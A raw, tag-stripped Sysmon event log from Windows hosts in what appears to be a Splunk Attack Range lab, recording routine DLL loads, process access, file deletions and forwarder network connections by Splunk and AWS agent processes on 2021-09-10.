32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000057334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000057329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018293Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:21.074{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4809800A060599DF4B541C78D70215FB,SHA256=3E102586EC2E466E3EB54320FD42917B86AC54C5903F1E5F46F2AF6FC7D438B9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:22.842{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1BC7CAD9D7199D1C07FEDC00C35D462E,SHA256=4B93772EA81D6F94E69B1532F83B6B230959682E73AC80FD0B1A0AD838D322AD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018295Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:20.489{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50419-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018294Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:22.090{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DA35755E09D8783A29CB9BFAFC4FBF5B,SHA256=936D66415EBC5B4E1B6FBDC8E9083E08600CD62CF9572EE86284F7A2A13ABDF4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:23.282{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-063MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018296Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:23.106{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=45269F1255410AC0A8F83C89839AE9E4,SHA256=0DD02ABC17837E2B9FD16919E7809FA2B087A6AA61CA1AE2FCACAC1F48189D15,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:24.281{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-064MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:24.077{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=134929F9A07D4D5F5EBAED034040FD01,SHA256=F5F0BA770DC93075FCFABC30612987DDC7F5E844B1C768BFC5575977B405E776,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018297Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:24.121{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E77B87CF32ECBA3AEE1C052C76902B64,SHA256=469CDE44D829C85BCDA72089038911EAADE92E527362146E126F1D0D6A618541,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:22.396{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63194-false10.0.1.12-8000- 23542300x800000000000000057380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:25.299{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E924CAF461DBDB6D180641D7D7481255,SHA256=8684C78994BCFF6E7CB9AAE357118B1AD224005E0277A707F0E5A722C1DD3F76,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018298Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:25.215{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FE657A062CF39BEADB1CC9F4FE901CA9,SHA256=913266CD959EB4E297C7C2194E0190C98B45D9EBDE80A50F5D683CBC41FC304F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018299Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:26.278{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D4E0DE7206C98EA6DA7676F50F4C9F3E,SHA256=637592E342331004649F487685541FAA767A1A106D82E35DF4DE5511101CFCA8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:26.361{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A99AEF58BFD158144A993EEFC4169744,SHA256=E8F7FC24ED64C4DE32CE718904EFD49D671D1D707D5B8B01D920FCBBF3532460,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:27.377{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=960150BFD6AD04FA44E0D1A0CEC3613D,SHA256=5EAC713C55A2E44336EF8BDDB37939B48F253FC21B9A07BF6E20A582AE895EF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018300Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:27.309{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE11C597EA568D5D1F68BAEA25458B15,SHA256=B675057F90C20A9FBCBEE31B0C1EC140681956CA840723E6D3E59546123FFE23,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:28.393{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F6E27A5B984847C39B284285A1D68CC,SHA256=90C46CF445379F217B3A1E8E5D42DA22FB9349300DF806834AD25D3D24FE0786,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018303Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:28.410{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-054MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018302Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:26.457{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50420-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018301Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:28.311{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A6A1C7A54E245CBE49E95CF9A7FD6116,SHA256=42EE1733C6AC93F429BE6946D56023ABD5AC6D46BBF755E94DF7B42391D4084D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:29.455{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C0C92BCE4ECF59EB32FFFD33B305EA6,SHA256=F6143C225CC470D3AED951DD8BCE34545D6E447D97F441545AE2C86922A376C8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018305Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:29.408{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-055MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018304Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:29.313{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E2BB58FD0A9A4BFA1D7D551596973D67,SHA256=EE8CA265183CA1E9FF66931E80D0C9F6C9B840D21556F658635722D4E1D1D2DA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 